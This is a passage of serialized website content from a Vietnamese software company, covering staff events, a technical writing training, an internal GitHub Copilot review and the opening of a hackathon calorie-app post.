family.",[438,4346],{"className":4347,"alt":66,"src":4348,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09143909\u002Fh2-2.png",[11,4350,4352],{"className":4351},[2463,2464,2465,2466,2467],"\nThe teams in the second round are on their way to the finish line\n",[438,4354],{"className":4355,"alt":66,"src":4356,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09143941\u002Fh3-3.png",[11,4358,4360],{"className":4359},[2463,2464,2465,2466,2467],"\nA tough question that even the game designer didn't know the answer\n",[11,4362,4363],{},"When you were young, were you used to be excited to go to the market or the supermarket to do the grocery shopping with your mother? Or were you hyper excited when your mother gave you a list of things and assigned the shopping task for you? At that moment, you must had been so proud because you felt like you had already grown up, right? But when we've actually grown up, doing grocery shopping might be no longer the exciting things as it's used to. However, remembering the childhood memories makes us feel really nostalgic, doesn't it?",[11,4365,4366],{},"Thus, to recall the feeling of those bygone years, the second game is Supermarket Challenge. In this game, we have 4 teams playing, each team randomly choose the supermarket that their team will be in charge of. Then, each member of the teams will see the product list of their supermarkets, memorize and write them down in limited time. The team have the most products is the winner. In addition, members can get more points for their team by looking for real items in the office which are included in the product list of all supermarkets. This part of the game took place in a bustling way as everyone was frantically searching for objects throughout the office. The game ended with the winning of Dev 3 team.",[438,4368],{"className":4369,"alt":66,"src":4370,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09144025\u002Fh4-2.png",[11,4372,4374],{"className":4373},[2463,2464,2465,2466,2467],"\nEach team member is trying to remember the product name\n",[11,4376,4377,4381],{},[438,4378],{"className":4379,"alt":66,"src":4380,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104633\u002Fh5.png",[473,4382],{},[438,4384],{"className":4385,"alt":66,"src":4386,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09144117\u002Fh6-2.png",[11,4388,4390],{"className":4389},[2463,2464,2465,2466,2467],"\nItems found in the office by the teams\n",[438,4392],{"className":4393,"alt":66,"src":4394,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09144142\u002Fh7-2.png",[11,4396,4398],{"className":4397},[2463,2464,2465,2466,2467],"\nGifts for winning team members\n",[11,4400,4401],{},"Ending the game with a refreshing mood, Briswell Vietnam family had a cozy dinner together. The restaurant selected this time was Seoul Garden, which has a spacious and very cozy space. The food was diverse and rich with typical Korean grilled dishes. It is an ideal place to gathering with friends and family.",[11,4403,4404],{},"While enjoying the meal, everyone was able to chat with each other, about stories that are difficult to share when being at the office. In addition, at this event, Briswell Vietnam also welcomed 4 new members from Comtor and Admin team, they are all among the youngest members of the company. Through this event, they again had one more chance to quickly integrate with people and understand more about the company's culture!",[11,4406,4407,4411],{},[438,4408],{"className":4409,"alt":66,"src":4410,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105001\u002Fh8.png",[473,4412],{},[438,4414],{"className":4415,"alt":66,"src":4416,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105053\u002Fh9.png",[11,4418,4419],{},"The May's event ended with cheers and laughter that brought everyone in Briswell Vietnam family closer together than ever. Hope the new members will be able to learn a lot more skill and knowledge while working at Briswell Vietnam and let's look forward to the next event!",{"title":66,"searchDepth":67,"depth":67,"links":4421},[],"2023-06-13",{},"\u002Fnews\u002Fevent-thang-05-2023-event-dau-he",{"title":4319,"description":4324},"news\u002Fevent-thang-05-2023-event-dau-he","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F13111223\u002FIMG_3162-2048x1442.jpg","Ro8d4rVVYGN3vET_5Bj2KusDpdHTplwCAgpgHZNC81A",{"id":4430,"title":4431,"body":4432,"category":2999,"created by":3000,"date":4491,"description":4492,"extension":72,"meta":4493,"navigation":74,"path":4494,"sections":76,"seo":4495,"stem":4496,"thumbnail":4497,"__hash__":4498},"content_en\u002Fnews\u002Fevent-thang-05-2025.md","EVENT IN MAY 2025",{"type":8,"value":4433,"toc":4489},[4434,4437,4440,4453,4464,4469,4473,4484],[11,4435,4436],{},"After a while without a full gathering, the company members finally had the chance to come together again for a warm and delightful dinner.",[11,4438,4439],{},"On a pleasantly cool evening in May, the cozy dining room was filled with a soft golden glow and cheerful conversations. Everyone enjoyed a variety of delicious dishes, from fresh, crisp salads to sizzling, flavorful steaks, accompanied by refreshing fruit juices and colorful mocktails. One drink stood out with its interesting name “Healing” – unique and soothing, perfectly capturing the relaxed and heartfelt spirit of the dinner.",[765,4441,3037,4445,3037,4449],{"className":4442,"style":4444},[4443],"mt-4","display: flex; gap: 16px;",[438,4446],{"className":4447,"alt":66,"src":4448,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100337\u002FIMG_4414-scaled.jpg",[438,4450],{"className":4451,"alt":66,"src":4452,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100347\u002FIMG_4415-scaled.jpg",[765,4454,3037,4456,3037,4460],{"className":4455,"style":4444},[4443],[438,4457],{"className":4458,"alt":66,"src":4459,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100358\u002FIMG_4416-scaled.jpg",[438,4461],{"className":4462,"alt":66,"src":4463,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100328\u002FIMG_4413-scaled.jpg",[11,4465,4466,878],{},[51,4467,4468],{},"Dinner gatherings are always a wonderful opportunity for everyone to chat, share laughter, and strengthen bonds like one big family",[438,4470],{"className":4471,"alt":66,"src":4472,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100253\u002FIMG_4409-768x1024.jpg",[765,4474,3037,4476,3037,4480],{"className":4475,"style":4444},[4443],[438,4477],{"className":4478,"alt":66,"src":4479,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100307\u002FIMG_4410-scaled.jpg",[438,4481],{"className":4482,"alt":66,"src":4483,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100320\u002FIMG_4412-scaled.jpg",[11,4485,4486],{},[51,4487,4488],{},"There will surely be many more events to come, where we’ll continue creating unforgettable memories together! 🎉",{"title":66,"searchDepth":67,"depth":67,"links":4490},[],"2025-06-02","After a while without a full gathering, the company members finally had the chance to come together again for a warm and delightful dinner. On a pleasantly cool evening in May, the cozy dining room was filled with a soft golden glow and cheerful conversations. Everyone enjoyed a variety of delicious dishes, from fresh, crisp salads to sizzling, flavorful steaks, accompanied by refreshing fruit juices and colorful mocktails. One drink stood out with its interesting name “Healing” – unique and soothing, perfectly capturing the relaxed and heartfelt spirit of the dinner.",{},"\u002Fnews\u002Fevent-thang-05-2025",{"title":4431,"description":4492},"news\u002Fevent-thang-05-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22170541\u002FCOMPANY-EVENT-IN-052025.png","JeDdym_Fkytc6NuY6UlnwhGli1w-TI07N7NO0hd9QWM",{"id":4500,"title":4501,"body":4502,"category":2999,"created by":4556,"date":4557,"description":4558,"extension":72,"meta":4559,"navigation":74,"path":4560,"sections":76,"seo":4561,"stem":4562,"thumbnail":4563,"__hash__":4564},"content_en\u002Fnews\u002Fevent-thang-12-2025.md","EVENT IN DECEMBER 2025",{"type":8,"value":4503,"toc":4554},[4504,4507,4510,4515,4523,4527,4530,4539,4548,4551],[11,4505,4506],{},"December arrives, bringing with it the familiar spirit of the Christmas season. Cheerful music, sparkling lights, and festive decorations are popping up everywhere, blending into the busy rhythm of the year-end and creating a unique melody of the season.",[11,4508,4509],{},"At Briswell Vietnam, Christmas colors spread throughout the office early on, from small decorated corners to all shared workspaces.",[438,4511],{"className":4512,"alt":66,"src":4514,"style":1098},[441,442,4513],"mb-4","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30101403\u002FIMG_8344-scaled.jpg",[765,4516,3037,4517,3037,4520],{"style":4444},[438,4518],{"alt":66,"src":4519,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091634\u002FIMG_8331-scaled.jpg",[438,4521],{"alt":66,"src":4522,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091645\u002FIMG_8332-810x1024.jpg",[438,4524],{"className":4525,"alt":66,"src":4526,"style":1098},[441,442,4443],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091655\u002FIMG_8333-1216x1536.jpg",[11,4528,4529],{},"On this occasion, Briswell organized a small event, giving all staff the opportunity to connect, socialize, and enjoy the festive vibe together.",[765,4531,3037,4533,3037,4536],{"className":4532,"style":4444},[4513],[438,4534],{"alt":66,"src":4535,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091553\u002FIMG_8323-1152x1536.jpg",[438,4537],{"alt":66,"src":4538,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091611\u002FIMG_8326-1152x1536.jpg",[765,4540,3037,4542,3037,4545],{"className":4541,"style":4444},[4443],[438,4543],{"alt":66,"src":4544,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091603\u002FIMG_8325-scaled.jpg",[438,4546],{"alt":66,"src":4547,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091704\u002FIMG_8337-1152x1536.jpg",[11,4549,4550],{},"The party took place in a lively setting; laughter, short conversations, and photo-taking activities helped lift everyone’s mood, creating a relaxed feeling and plenty of positive energy. ",[11,4552,4553],{},"The evening wrapped up in a relaxed atmosphere, each member left with memorable photos and a full-on Christmas night with colleagues. The party, though simple, was meaningful enough to leave a lasting mark on Briswell’s journey of team bonding.",{"title":66,"searchDepth":67,"depth":67,"links":4555},[],"PHAM NGOC GIANG THANH","2026-01-09","December arrives, bringing with it the familiar spirit of the Christmas season. Cheerful music, sparkling lights, and festive decorations are popping up everywhere, blending into the busy rhythm of the year-end and creating a unique melody of the season. At Briswell Vietnam, Christmas colors spread throughout the office early on, from small decorated corners to all shared workspaces. On this occasion, Briswell organized a small event, giving all staff the opportunity to connect, socialize, and enjoy the festive vibe together.",{},"\u002Fnews\u002Fevent-thang-12-2025",{"title":4501,"description":4558},"news\u002Fevent-thang-12-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30111621\u002Ftittle_3.png","2IfU4fixbDEfTElk9wd3UdG1h28_lT1TtnWyxuUAnmw",{"id":4566,"title":4567,"body":4568,"category":262,"created by":70,"date":4574,"description":259,"extension":72,"meta":4575,"navigation":74,"path":4576,"sections":76,"seo":4577,"stem":4578,"thumbnail":4579,"__hash__":4580},"content_en\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu.md","(日本語) テストのモニタリングとコントロール",{"type":8,"value":4569,"toc":4572},[4570],[11,4571,259],{},{"title":66,"searchDepth":67,"depth":67,"links":4573},[],"2025-02-18",{},"\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu",{"title":4567,"description":259},"news\u002Fgiam-sat-va-kiem-soat-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F17135210\u002FScreenshot-2025-02-17-135150.png","piM2HbEpnbrcAzyZL6nfbAfXZuvkiL-rI0uwxY53Bw8",{"id":4582,"title":4583,"body":4584,"category":4707,"created by":70,"date":4708,"description":4588,"extension":72,"meta":4709,"navigation":74,"path":4710,"sections":76,"seo":4711,"stem":4712,"thumbnail":4713,"__hash__":4714},"content_en\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing.md","Introduction to Technical Writing technique",{"type":8,"value":4585,"toc":4705},[4586,4589,4592,4595,4602,4605,4610,4613,4618,4621,4624,4631,4634,4639,4642,4647,4650,4653,4660,4663,4666,4671,4674,4679,4682,4685,4688,4695,4698],[11,4587,4588],{},"In our company, Briswell, communication is a very common activity at work, whether in verbal or written. Consequently, we often experience misunderstandings or difficulties in conveying and understanding each other's opinions. To overcome this, we all have participated in a training session called Technical Writing.",[11,4590,4591],{},"So, what is Technical Writing? This is a way of writing that accurately and clearly conveys professional content or technical information to a specific audience. To illustrate, an example in our daily life that uses this writing technique is the user manual when buying things such as refrigerators, washing machines, etc., which we often throw away. It sounds theoretical and is reasonable to be thrown away, isn’t it?",[11,4593,4594],{},"Although I initially had the same mindset, after completing this course, I have learned a few techniques that I believe can improve my communication skill. So, before deciding to throw it away, why don’t we take a look at a few techniques together?",[203,4596,4597],{},[34,4598,4599],{},[20,4600,4601],{},"Fit documentation to your audience",[11,4603,4604],{},"Each person has different experiences and knowledge, so how they approach the same issue also differs. For example, when explaining the cause of an error to someone with no IT background, the developer might say:",[31,4606,4607],{},[34,4608,4609],{},"Because the file permission is set to 755, this user can’t create a folder.",[11,4611,4612],{},"With this sentence, the person without IT background may not understand what 755 means, and wonder why 755 is related to creating a folder. Therefore, to make it easier for this person to  understand, we can explain by this way:",[31,4614,4615],{},[34,4616,4617],{},"The system is configured that only the owner of a folder can create files within it, and the current user is not the owner of the folder, so they can’t create a sub-folder.",[11,4619,4620],{},"The explanation, although longer, helps someone with no IT knowledge to understand the cause of the error. ",[11,4622,4623],{},"Therefore, in communication, we need to consider what information our audiences already understand and what they do not, so we can have the appropriate way to explain the information.",[203,4625,4626],{"start":67},[34,4627,4628],{},[20,4629,4630],{},"Use terminology consistently",[11,4632,4633],{},"To explain about a screen’s function, the specification is written as below:",[31,4635,4636],{},[34,4637,4638],{},"The system will get the file stored in the upload_file_2024 folder, then display it on the screen. If the user uploads a new file, this file will be stored in the upload_file_2024  directory.",[11,4640,4641],{},"When reading the above specification, are you confused about whether the upload_file_2024 folder and upload_file_2024 directory are the same place? This is because the specification uses terminology inconsistently. We can correct by this way:",[31,4643,4644],{},[34,4645,4646],{},"The system will get the file stored in the upload_file_2024 folder, then display it on the screen. If the user uploads a new file, this file will also be stored in the upload_file_2024  folder.",[11,4648,4649],{},"Thanks to the consistent terminology, “folder”, readers can understand the place to get the file and the place to store the file is the same place. ",[11,4651,4652],{},"Consistent terminology not only helps readers understand the content better but also increases the credibility of the conveyed information.",[203,4654,4655],{"start":1306},[34,4656,4657],{},[20,4658,4659],{},"Omit needless words",[11,4661,4662],{},"When speaking, do you usually add emotional words or keep repeating synonyms? In daily conversation, expressing emotion helps the story to be more lively, yet in discussing issues, we have to present as clearly and concisely as possible.",[11,4664,4665],{},"Instead of saying this:",[31,4667,4668],{},[34,4669,4670],{},"Bug fixing was really very slow and time-consuming so it has caused many losses for the customer.",[11,4672,4673],{},"We can say:",[31,4675,4676],{},[34,4677,4678],{},"Bug fixing took a lot of time so it has caused many losses for the customer.",[11,4680,4681],{},"Although the phrase “really very slow” is omitted, the reader can still understand that bug fixing is slow, right? ",[11,4683,4684],{},"Remember that clear sentences can help readers catch the important part of the information and make sentences easier to understand!",[11,4686,4687],{},"Above are three methods that I find helpful in Technical Writing. After reading this, do you want to know more about these techniques? If you have any interest, please refer to the full document compiled by Briswell at the link below! ",[11,4689,4690],{},[55,4691,4694],{"href":4692,"rel":4693},"https:\u002F\u002Fspeakerdeck.com\u002Fbwv\u002Ftraining-technical-writing-cong-ty-briswell-viet-nam",[59],"Training Technical Writing - Công ty Briswell Việt Nam - Speaker Deck",[11,4696,4697],{},"Reference source:",[11,4699,4700],{},[55,4701,4704],{"href":4702,"rel":4703},"https:\u002F\u002Fdevelopers.google.com\u002Ftech-writing\u002Foverview",[59],"Technical Writing Courses",{"title":66,"searchDepth":67,"depth":67,"links":4706},[],[1319,69],"2024-05-02",{},"\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing",{"title":4583,"description":4588},"news\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F02125920\u002FScreenshot-2024-05-02-125848.png","G-dgCfQw6VHdq0kCSqKO8WZoVERDJDqkSu_ZyZ-gBAc",{"id":4716,"title":4717,"body":4718,"category":1319,"created by":70,"date":4902,"description":4903,"extension":72,"meta":4904,"navigation":74,"path":4905,"sections":76,"seo":4906,"stem":4907,"thumbnail":4908,"__hash__":4909},"content_en\u002Fnews\u002Fgithub-copilot-review.md","GitHub Copilot Internal Review",{"type":8,"value":4719,"toc":4891},[4720,4723,4726,4729,4733,4736,4739,4742,4746,4749,4753,4756,4759,4763,4771,4775,4789,4793,4815,4819,4839,4842,4845,4848,4851,4854,4858,4861,4864,4871,4874,4880,4884],[11,4721,4722],{},"Since the launch of the ChatGPT service, the use of AI for efficiency improvement and quality improvement has become more active in various industries and tasks.",[11,4724,4725],{},"In our company as well, there are some restrictions to prevent leakage of confidential information, but the opportunities to use AI services in business are increasing.",[11,4727,4728],{},"Therefore, this time, we had about 10 developers use GitHub Copilot to see if it leads to improvement in web application development tasks, and we would like to inform you of our company's view.",[403,4730,4732],{"id":4731},"about-github-copilot","About GitHub Copilot",[11,4734,4735],{},"GitHub Copilot is an AI-powered code completion tool developed by GitHub and OpenAI. It is integrated with editors such as Visual Studio Code, Visual Studio, Neovim, JetBrains, and provides real-time automatic code completion and suggestions.",[11,4737,4738],{},"It has been trained on a dataset of over 10 billion lines of code. This dataset includes open-source projects, corporate codebases, and individual code. GitHub Copilot uses this dataset to generate code that matches the code users are inputting.",[11,4740,4741],{},"Codex is a derivative of the GPT-3 language model and is said to inherit some of the features of GPT-3, but it does not officially publish the GPT version (according to Google Bard).",[403,4743,4745],{"id":4744},"precautions-before-use","Precautions before use",[11,4747,4748],{},"The following settings are made to prevent leakage of confidential information and infringement of copyright. If you have a Business subscription to GitHub Copilot, you can share these settings with accounts under your GitHub organization. Also, you can choose who you want to give the subscription to. This means that you don't have to pay for all members of the organization. (As of June 2023)",[438,4750],{"className":4751,"alt":66,"src":4752,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135036\u002Fgithub-copilot-securitysetting-768x477.png",[403,4754,742],{"id":4755},"review",[11,4757,4758],{},"We will describe the good points and points that need improvement (improvement points) that we found from using it in several projects and for the development of sample programs for research. This is an evaluation from the results of about 10 developers who have 2 to 10 years of development experience, can use at least two of Nodejs\u002FPHP\u002FJavascript, and can proceed with development on their own.",[565,4760,4762],{"id":4761},"good-points","Good points",[31,4764,4765,4768],{},[34,4766,4767],{},"It understands the context and makes suggestions. When retrieving a specific value that is in a specific model, it understands the existing program and makes a syntax suggestion in a state where the key name and field name are entered.",[34,4769,4770],{},"Developers who are senior or above in NodeJS, when developing in unfamiliar Python, the suggestions made by “Control + Enter” were easy to understand and were appropriate and useful.",[438,4772],{"className":4773,"alt":66,"src":4774,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135445\u002Fsuggestion-python-code-1024x447.png",[31,4776,4777,4780,4783,4786],{},[34,4778,4779],{},"If you have experience in one programming language, you can somewhat judge whether what you choose is correct when trying a different language, which leads to improved work efficiency.",[34,4781,4782],{},"It supports languages other than Vietnamese, English, and Japanese.",[34,4784,4785],{},"There were times when the code completion as VS Code became easier to understand by installing Copilot.",[34,4787,4788],{},"When you choose a suggestion, it uses the function name or method name of the existing program, reducing the implementation time.",[565,4790,4792],{"id":4791},"improvement-points","Improvement points",[31,4794,4795,4802,4809,4812],{},[34,4796,4797,4798],{},"There were times when it did not appropriately answer simple Javascript questions. ",[438,4799],{"className":4800,"alt":66,"src":4801,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28140105\u002Fask-copilot-1-1024x225.png",[34,4803,4804,4805],{},"There are times when it suggests syntax that does not exist. ",[438,4806],{"className":4807,"alt":66,"src":4808,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28152141\u002Fwrong-context-suggestion-768x499.png",[34,4810,4811],{},"There are times when it takes time to receive a reply after sending a message when you want to ask a question to Copilot or receive a program suggestion. There are also times when nothing comes back, and you may spend unnecessary time.",[34,4813,4814],{},"It does not understand language as well as ChatGPT, and if it does not understand the prompt to some extent, something different from what was expected may come back.",[565,4816,4818],{"id":4817},"summary","Summary",[31,4820,4821,4824,4827,4830,4833,4836],{},[34,4822,4823],{},"It feels more like an upgrade to code completion, and it's not a game-changer.",[34,4825,4826],{},"It only suggests what seems appropriate in the written program, it does not understand the specifications written in words and provide a solution in the form of a program that completely fits the current program.",[34,4828,4829],{},"The language understanding is not good, it's hard to casually receive navigation, the role as a navigator is insufficient and there is no sense of pair programming.",[34,4831,4832],{},"For those with development experience, it is beneficial when developing in a new language, reducing work by about 5 - 10%.",[34,4834,4835],{},"For those with development experience and are familiar with the language, the existing code completion function is sufficient, leading to a reduction of about 0 - 5% in coding work.",[34,4837,4838],{},"About 50% of developers who experienced Copilot want to continue using it.",[11,4840,4841],{},"After receiving a suggestion from AI, you need to check whether the existing program and operation are correct. It seems that inexperienced developers can create a program that seems to be somehow possible. However, in application development, it is necessary to properly understand the specifications, ask appropriate questions, and select the appropriate ones. I don't think inexperienced developers can do this, and I feel it is difficult to develop while maintaining the quality of the application.",[11,4843,4844],{},"For developers who have more than 2 years of development experience and have achieved results in several projects, the existing code completion seems to be sufficient for familiar programming languages and frameworks. There can be a delay in typing to ask Copilot and in the response time to receive a reply. This can sometimes be a disadvantage.",[11,4846,4847],{},"For developers with development experience and proficiency in one or more programming languages, it may be beneficial when developing with other programming languages. This is because the developer can understand the appropriate specifications of the application they are developing, can appropriately make requests or ask questions to Copilot, and can run the application after getting the suggestions received from Copilot or check the program language reference to determine that there is no problem.",[11,4849,4850],{},"In development using AI, I had the image of obtaining a rough, large-scale program from ChatGPT, making detailed modifications to fit the existing program and specifications while using GitHub Copilot, and completing programming by combining test code. However, the current GitHub Copilot only gives the impression of a slight upgrade to code completion, and it seems that there are still many issues such as improvements to the proposed program and usability.",[11,4852,4853],{},"As a result of using it for about a month, about half of the developers said that it would be good if they could reduce the coding work time by about 0 to 5%. Similarly, about half said that they don't need this subscription because they won't continue to use Copilot. The company records the forecast and actual time of coding work, and since there is no significant change in time before and after use, we judge that the impression and results are correct. The work of developers is not just coding, so the work of a developer for a month does not decrease by about 0 to 5%, and we did not get a result that the development cost significantly decreases. From the fact that about 50% of the developers thought that it was not very useful, I feel that Copilot will not become the de facto standard as it is. However, the development of new services such as AI code assistant Codey is being carried out and it seems to be competing. Therefore, improvements are being made, and in the near future, the day may come when we can code while receiving appropriate AI navigation as if we are pair programming with outstanding developer.",[403,4855,4857],{"id":4856},"disappointing-things-extras","Disappointing things (extras)",[11,4859,4860],{},"When I asked how to use GitHub Copilot, a URL of a YouTube page was sent, but when I accessed it, the page did not exist. Also, when I ask how to get help, a URL of some page of Github's copilot doc is sent, but it results in a 404 error. For developers, it is common to use the help command in a specific application to understand the function of the command you want to execute, but it seems that such a thing has not been considered in the result.",[11,4862,4863],{},"​​\u002F\u002F q: how to use the Github copilot?",[11,4865,4866,4867],{},"\u002F\u002F a: ",[55,4868,4869],{"href":4869,"rel":4870},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=Qp9T9Zj9jv8",[59],[11,4872,4873],{},"\u002F\u002F q: how to get help from Github copilot?",[11,4875,4866,4876],{},[55,4877,4878],{"href":4878,"rel":4879},"https:\u002F\u002Fcopilot.github.com\u002Fdocs\u002Fget-help\u002F",[59],[403,4881,4883],{"id":4882},"refer-to","Refer to",[11,4885,4886],{},[55,4887,4890],{"href":4888,"rel":4889,"title":4890},"https:\u002F\u002Fgithub.com\u002Ffeatures\u002Fcopilot",[59],"GitHub Copilot · Your AI pair programmer",{"title":66,"searchDepth":67,"depth":67,"links":4892},[4893,4894,4895,4900,4901],{"id":4731,"depth":67,"text":4732},{"id":4744,"depth":67,"text":4745},{"id":4755,"depth":67,"text":742,"children":4896},[4897,4898,4899],{"id":4761,"depth":1306,"text":4762},{"id":4791,"depth":1306,"text":4792},{"id":4817,"depth":1306,"text":4818},{"id":4856,"depth":67,"text":4857},{"id":4882,"depth":67,"text":4883},"2023-07-25","Since the launch of the ChatGPT service, the use of AI for efficiency improvement and quality improvement has become more active in various industries and tasks. In our company as well, there are some restrictions to prevent leakage of confidential information, but the opportunities to use AI services in business are increasing.",{},"\u002Fnews\u002Fgithub-copilot-review",{"title":4717,"description":4903},"news\u002Fgithub-copilot-review","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28151329\u002Fcopilot.png","O34aL04r5glSV8gaxmBNHtspUxEtj5mMAOnLs3P4lnU",{"id":4911,"title":4912,"body":4913,"category":5169,"created by":5170,"date":5171,"description":5172,"extension":72,"meta":5173,"navigation":74,"path":5174,"sections":76,"seo":5175,"stem":5176,"thumbnail":5177,"__hash__":5178},"content_en\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an.md","[Hackathon] Calories Showing - App helps to check calories from food image",{"type":8,"value":4914,"toc":5162},[4915,4917,4931,4934,4946,4949,4960,4963,4966,4970,4978,4982,4985,4988,4993,4996,4999,5007,5010,5013,5017,5020,5023,5031,5038,5045,5052,5058,5066,5069,5073,5076,5079,5087,5090,5094,5108,5116,5119,5122,5130,5133,5136,5139,5141,5146,5152,5156],[395,4916,2655],{"id":2654},[4918,4919,4921,4925,4926,4930],"h5",{"id":4920},"httpswwwworldbankorgennewsinfographic20200129the-crippling-costs-of-obesity",[438,4922],{"className":4923,"alt":66,"src":4924,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085001\u002Fobesity_info.jpg","(",[55,4927,4928],{"href":4928,"rel":4929},"https:\u002F\u002Fwww.worldbank.org\u002Fen\u002Fnews\u002Finfographic\u002F2020\u002F01\u002F29\u002Fthe-crippling-costs-of-obesity",[59],")",[11,4932,4933],{},"Today the world faces a double burden of nutrition including both undernutrition and obesity. In particular, the rate of obesity is increasing very rapidly. Recent data show that since 1975 obesity has nearly tripled and it now accounts for 4 million deaths worldwide every year. In 2016, over 2 billion adults (44 percent) were overweight or obese.",[4918,4935,4937,4941,4942,4930],{"id":4936},"httpswwwazumiocomblognutritionhealthy-eating-101-food-journaling",[438,4938],{"className":4939,"alt":66,"src":4940,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085136\u002Ffood_journalling.jpg"," (",[55,4943,4944],{"href":4944,"rel":4945},"https:\u002F\u002Fwww.azumio.com\u002Fblog\u002Fnutrition\u002Fhealthy-eating-101-food-journaling",[59],[11,4947,4948],{},"Where overweight people are taking in too many calories, underweight people are not taking in enough calories to sustain them. Therefore, nutritionists recommend that each of us should make a daily calorie-in and calorie-out plan to control calories, thereby helping to improve malnutrition or prevent obesity and have a healthy 